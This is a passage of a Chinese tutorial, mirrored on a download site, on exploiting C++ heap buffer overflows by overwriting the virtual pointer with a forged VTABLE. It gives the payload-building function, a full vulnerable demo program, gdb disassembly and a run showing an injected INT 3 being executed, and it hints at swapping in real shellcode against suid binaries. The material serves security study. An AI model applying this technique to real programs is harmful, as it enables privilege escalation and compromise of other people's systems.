⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 csdn_文档中心_突破c++的虚拟指针--c++程序的缓冲区溢出攻击.htm

📁 csdn10年中间经典帖子
💻 HTM
📖 第 1 页 / 共 5 页
字号:
      <PrintBuffer__8MyClass2> 
        我们看到,PrintBuffer()方法正好位于其对象实例的VTABLE的第三个方法。现在让我们单步执行后面的代码,来分析一下“动态绑定”的机制: 
      (gdb) ni   接下来要执行的指令为: 0x804947a <main+122>:  
      mov  0xfffffff8(%ebp),%edx   该指令使EDX寄存器指向第一个对象实例。 0x804947d 
      <main+125>:  mov  0x20(%edx),%eax 0x8049480 <main+128>:  
      add  $0x8,%eax   这两条指令使EAX寄存器指向MyClass1对象实例VTABLE的第三个地址(PrintBuffer方法入口)。 
      0x8049483 <main+131>:  mov  0xfffffff8(%ebp),%edx 0x8049486 
      <main+134>:  push  %edx   这两条指令使EDX寄存器指向第一个对象实例,并将该指针压栈。 0x8049487 
      <main+135>:  mov  (%eax),%edi      // EDI = *(VPTR+8) 0x8049489 
      <main+137>:  call  *%edi         // run the code at EDI 
        这两条指令将VTABLE的第三个地址存放到EDI寄存器,该地址为MyClass1对象实例的PrintBuffer()方法的入口。MyClass2对象实例的处理机制是一样的。  最后,主函数正常返回,主程序结束。 
      ---[[ 突破VPTR ]]-------------------------------------- 
        现在让我们来探讨如何突破上面那个有缓冲区溢出漏洞的程序。要达到这个目的,必须能够做到: 
        -构造我们自己的VTABLE,其中的指针入口将指向我们期望运行的代码(如shellcode等)。  -使缓冲区溢出,并覆盖VPTR,使其指向我们的VTABLE。 
        也就是说,在被溢出缓冲区的开始构造一个VTABLE,然后使被覆盖后的VPTR能够指向该缓冲区的起始位置(即我们的VTABLE)。至于shellcode的位置,既可以在缓冲区中VTABLE之后,也可以位于被覆盖的VPTR之后。不过,如果我们将shellcode放到VPTR之后,则须确保该部份内存可写,否则会导致段错误。在这里如何选择取决于缓冲区的大小。如果缓冲区足够大,可以容纳VTABLE和shellcode,则可以完全避免段错误。此外还要注意,在每一个对象实例后都有4字节的特定数所(0x29,0x49),同时记住在VPTR后添加字符串结束符00h。 
        我们决定把shellcode放在VPTR之前,即需要构造如下结构的缓冲区: +------(1)---<----------------+ 
      |               | |              ==+= SSSS ..... SSSS .... B ... CVVVV0 
      ==+=    =+==       |  |     |        |  +----(2)--+->-------------+ 说明: 
      V 缓冲区首部的地址。    S shellcode的地址。    B 空指令,同时使地址边界对齐。    C 
      shellcode代码。在本例中,我们只用一个字节CCh(汇编指令为INT 3)。    0 字符串缓冲区尾部标识。 
        位于缓冲区首部的SSSS的数量取决于你是否知道VPTR指向VTABLE中的那个方法相对于第一个方法的偏移量。当缓冲区溢出后: 
        如果知道偏移量(或称索引),可以构造精确的指针。  如果不知道确切的索引值,我们就用覆盖多个方法的入口指针,以确保会跳转到我们的shellcode。即类似于“窗口命中”原理。 
        VVVV的值必须通过分析被溢出程序的运行过程都能得到。  需要注意的是,对象实例的内存空间是在堆(heap)中分配的,这使得确定其地址的难度有所加大。 
        我们将要编写一个用于构造所需缓冲区的函数。该函数接收三个参数:   - BufferAddress:被溢出缓冲区的起始地址。  - 
      NAddress:覆盖方法入口指针的数量。   BufferOverflow()函数代码如下: char 
      *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { 
      char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i; 
      Buffer=(char*)malloc(VPTROffset+4);  // 分配内存 CCOffset=(unsigned 
      long)VPTROffset-1;  // 计算执行代码在缓冲区中的偏移量  for (i=0;i<VPTROffset;i++) 
      Buffer[i]=‘\x90‘;  // 填充空指令NOP   LongBuffer=(unsigned long*)Buffer;  // 
      构造指向包含VTABLE结构的缓冲区的指针  for (i=0;i<NAddress;i++) 
      LongBuffer[i]=BufferAddress+CCOffset;  // 在缓冲区首部(VTABLE结构)填充执行代码的地址  
      LongBuffer=(unsigned long*)&Buffer[VPTROffset];  // 指向VPTR的指针  
      *LongBuffer=BufferAddress;  // 覆盖VPTR的数值  Buffer[CCOffset]=‘\xCC‘;  // 
      被执行代码 Buffer[VPTROffset+4]=‘\x00‘;  // 字符串结束字符 return Buffer; } 
        在调用这个BufferOverflow()函数时需要传递以下参数: 
        -缓冲区地址(在本例为Object[0]对象实例的地址)  -被覆盖方法入口地址在VTABLE中的索引(在我的机器中本例为3)  - 
      VPTR的偏移量(在本例为32)   测试程序(bo3.cpp)源代码如下: #include <stdio.h> #include 
      <string.h> #include <malloc.h> class BaseClass { private: char 
      Buffer[32]; public: void SetBuffer(char *String) {  strcpy(Buffer,String); 
      } virtual void PrintBuffer() {  printf(“%s\n“,Buffer); } }; class 
      MyClass1:public BaseClass { public: void PrintBuffer() { 
       printf(“MyClass1: “);  BaseClass::PrintBuffer(); } }; class 
      MyClass2:public BaseClass { public: void PrintBuffer() { 
       printf(“MyClass2: “);  BaseClass::PrintBuffer(); } }; char 
      *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) { 
      char *Buffer; unsigned long *LongBuffer; unsigned long CCOffset; int i; 
      Buffer=(char*)malloc(VPTROffset+4+1); CCOffset=(unsigned 
      long)VPTROffset-1; for (i=0;i<VPTROffset;i++) Buffer[i]=‘\x90‘; 
      LongBuffer=(unsigned long*)Buffer; for (i=0;i<NAddress;i++) 
      LongBuffer[i]=BufferAddress+CCOffset; LongBuffer=(unsigned 
      long*)&Buffer[VPTROffset]; *LongBuffer=BufferAddress; 
      Buffer[CCOffset]=‘\xCC‘; Buffer[VPTROffset+4]=‘\x00‘; return Buffer; } 
      void main() { BaseClass *Object[2]; Object[0]=new MyClass1; Object[1]=new 
      MyClass2; Object[0]->SetBuffer(BufferOverflow((unsigned 
      long)&(*Object[0]),3,32));  Object[1]->SetBuffer(“string2“); 
      Object[0]->PrintBuffer(); Object[1]->PrintBuffer(); }   编译并运行GDB调试器: 
      [backend@isbase test] > gcc -o bo3 bo3.cpp [backend@isbase test] > 
      gdb bo3 ... (gdb) disassemble main Dump of assembler code for function 
      main: 0x80494cc <main>:    push  %ebp 0x80494cd <main+1>:   
      mov  %esp,%ebp 0x80494cf <main+3>:   sub  $0x8,%esp 0x80494d2 
      <main+6>:   push  %edi 0x80494d3 <main+7>:   push  %esi 
      0x80494d4 <main+8>:   push  %ebx 0x80494d5 <main+9>:   push  
      $0x24 0x80494d7 <main+11>:  call  0x804b660 <__builtin_new> 
      0x80494dc <main+16>:  add  $0x4,%esp 0x80494df 
      <main+19>:  mov  %eax,%eax 0x80494e1 
      <main+21>:  mov  %eax,%ebx 0x80494e3 <main+23>:  push  %ebx 
      0x80494e4 <main+24>:  call  0x804c9ec <__8MyClass1> 0x80494e9 
      <main+29>:  add  $0x4,%esp 0x80494ec 
      <main+32>:  mov  %eax,%esi 0x80494ee 
      <main+34>:  jmp  0x80494f5 <main+41> 0x80494f0 
      <main+36>:  call  0x8049d1c <__throw> 0x80494f5 
      <main+41>:  mov  %esi,0xfffffff8(%ebp) 0x80494f8 
      <main+44>:  push  $0x24 0x80494fa <main+46>:  call  0x804b660 
      <__builtin_new> 0x80494ff <main+51>:  add  $0x4,%esp 0x8049502 
      <main+54>:  mov  %eax,%eax 0x8049504 
      <main+56>:  mov  %eax,%esi 0x8049506 <main+58>:  push  %esi 
      0x8049507 <main+59>:  call  0x804c9cc <__8MyClass2> 0x804950c 
      <main+64>:  add  $0x4,%esp 0x804950f 
      <main+67>:  mov  %eax,%edi 0x8049511 
      <main+69>:  jmp  0x8049518 <main+76> 0x8049513 
      <main+71>:  call  0x8049d1c <__throw> 0x8049518 
      <main+76>:  mov  %edi,0xfffffffc(%ebp) 0x804951b 
      <main+79>:  push  $0x20 0x804951d <main+81>:  push  $0x3 
      0x804951f <main+83>:  mov  0xfffffff8(%ebp),%eax 0x8049522 
      <main+86>:  push  %eax 0x8049523 <main+87>:  call  0x8049400 
      <BufferOverflow__FUlii> 0x8049528 <main+92>:  add  $0xc,%esp 
      0x804952b <main+95>:  mov  %eax,%eax 0x804952d 
      <main+97>:  push  %eax ---Type <return> to continue, or q 
      <return> to quit--- 0x804952e 
      <main+98>:  mov  0xfffffff8(%ebp),%eax 0x8049531 <main+101>:  
      push  %eax 0x8049532 <main+102>:  call  0x804ca10 
      <SetBuffer__9BaseClassPc> 0x8049537 <main+107>:  
      add  $0x8,%esp 0x804953a <main+110>:  push  $0x804ce82 0x804953f 
      <main+115>:  mov  0xfffffffc(%ebp),%eax 0x8049542 <main+118>:  
      push  %eax 0x8049543 <main+119>:  call  0x804ca10 
      <SetBuffer__9BaseClassPc> 0x8049548 <main+124>:  
      add  $0x8,%esp 0x804954b <main+127>:  mov  0xfffffff8(%ebp),%edx 
      0x804954e <main+130>:  mov  0x20(%edx),%eax 0x8049551 
      <main+133>:  add  $0x8,%eax 0x8049554 <main+136>:  
      mov  0xfffffff8(%ebp),%edx 0x8049557 <main+139>:  push  %edx 
      0x8049558 <main+140>:  mov  (%eax),%edi 0x804955a <main+142>:  
      call  *%edi 0x804955c <main+144>:  add  $0x4,%esp 0x804955f 
      <main+147>:  mov  0xfffffffc(%ebp),%edx 0x8049562 <main+150>:  
      mov  0x20(%edx),%eax 0x8049565 <main+153>:  add  $0x8,%eax 0x8049568 
      <main+156>:  mov  0xfffffffc(%ebp),%edx 0x804956b <main+159>:  
      push  %edx 0x804956c <main+160>:  mov  (%eax),%edi 0x804956e 
      <main+162>:  call  *%edi 0x8049570 <main+164>:  add  $0x4,%esp 
      0x8049573 <main+167>:  xor  %eax,%eax 0x8049575 <main+169>:  
      jmp  0x80495b0 <main+228> 0x8049577 <main+171>:  
      jmp  0x80495b0 <main+228> 0x8049579 <main+173>:  
      lea  0x0(%esi,1),%esi 0x8049580 <main+180>:  push  %ebx 0x8049581 
      <main+181>:  call  0x804b5d0 <__builtin_delete> 0x8049586 
      <main+186>:  add  $0x4,%esp 0x8049589 <main+189>:  
      jmp  0x80494f0 <main+36> 0x804958e <main+194>:  mov  %esi,%esi 
      0x8049590 <main+196>:  push  %esi 0x8049591 <main+197>:  call  
      0x804b5d0 <__builtin_delete> 0x8049596 <main+202>:  
      add  $0x4,%esp 0x8049599 <main+205>:  jmp  0x8049513 <main+71> 
      0x804959e <main+210>:  jmp  0x80495a5 <main+217> ---Type 
      <return> to continue, or q <return> to quit--- 0x80495a0 
      <main+212>:  call  0x8049d1c <__throw> 0x80495a5 
      <main+217>:  call  0x804a0a0 <terminate__Fv> 0x80495aa 
      <main+222>:  lea  0x0(%esi),%esi 0x80495b0 <main+228>:  
      lea  0xffffffec(%ebp),%esp 0x80495b3 <main+231>:  pop  %ebx 
      0x80495b4 <main+232>:  pop  %esi 0x80495b5 <main+233>:  
      pop  %edi 0x80495b6 <main+234>:  leave  0x80495b7 <main+235>:  
      ret   0x80495b8 <main+236>:  nop   0x80495b9 <main+237>:  
      nop   0x80495ba <main+238>:  nop   0x80495bb <main+239>:  
      nop   0x80495bc <main+240>:  nop   0x80495bd <main+241>:  
      nop   0x80495be <main+242>:  nop   0x80495bf <main+243>:  
      nop   End of assembler dump.   我们在0x80494ec处设置一个断点,以获得第一个对象实例的地址。 (gdb) 
      break *0x80494ec Breakpoint 1 at 0x80494ec (gdb) run Starting program: 
      /home/backend/test/bo3 Breakpoint 1, 0x80494ec in main ()   运行程序: (gdb) 
      run Starting program: /home/backend/test/bo3 Breakpoint 1, 0x80494ec in 
      main () (gdb) info reg eax eax      0x804f970    134543728   继续运行: (gdb) 
      cont Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 
      0x804f990 in ?? () 
        我们的进程接收到一个SIGTRAP信号(该信号由位于0x804f990处的指令产生)。在上面我们已经知道对象实例的地址为0x804f970。计算 
      0x804f990-0x804f970-1=0x1f (=31),刚好就是CCh(INT 
      3的机器码)在缓冲区的偏移量。因此可以很肯定地说CCh已经被执行了! 
        我想你们也一定想到了,如果用一段shellcode替换CCh,就会执行这段shellcode。特别是如果bo3程序是suid属性的话……;) 
      ---[[ 进阶 ]]-------------------------------------- 
        在上面我们讨论了最简单的溢出攻击机制。下面来探讨一些更高级的技术。   例如,对于以下这个类: class MyClass3 { 
      private: char Buffer3[32]; MyClass1 *PtrObjectClass; public: virtual void 
      Function1() {  ...  PtrObjectClass1->PrintBuffer();  ... } }; 
        在MyClass3类中包含了一个指向另一个类的指针。如果我们溢出了MyClass3的Buffer3缓冲区,就会改写MyClass1类PtrObjectClass对象实例的指针。也就是说我们只需使覆盖后的指针指向一个早已定义好的类即可。;) 
      +----------------------------------------------------+ 
      |                          | +-> VTABLE_MyClass3: 
      IIIIIIIIIIIIRRRR        |                            =+== MyClass3 object: 
      BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX                          ==+= 
                                | 
      +---------------------<---------------------------+ | +--> MyClass1 
      object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY                             
      ==+=                              | 
      +-------------------------------------------------------+ | +--> 
      VTABLE_MyClass1: IIIIIIIIIIIIQQQQ 说明: B MyClass3对象实例的Buffer。    C 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -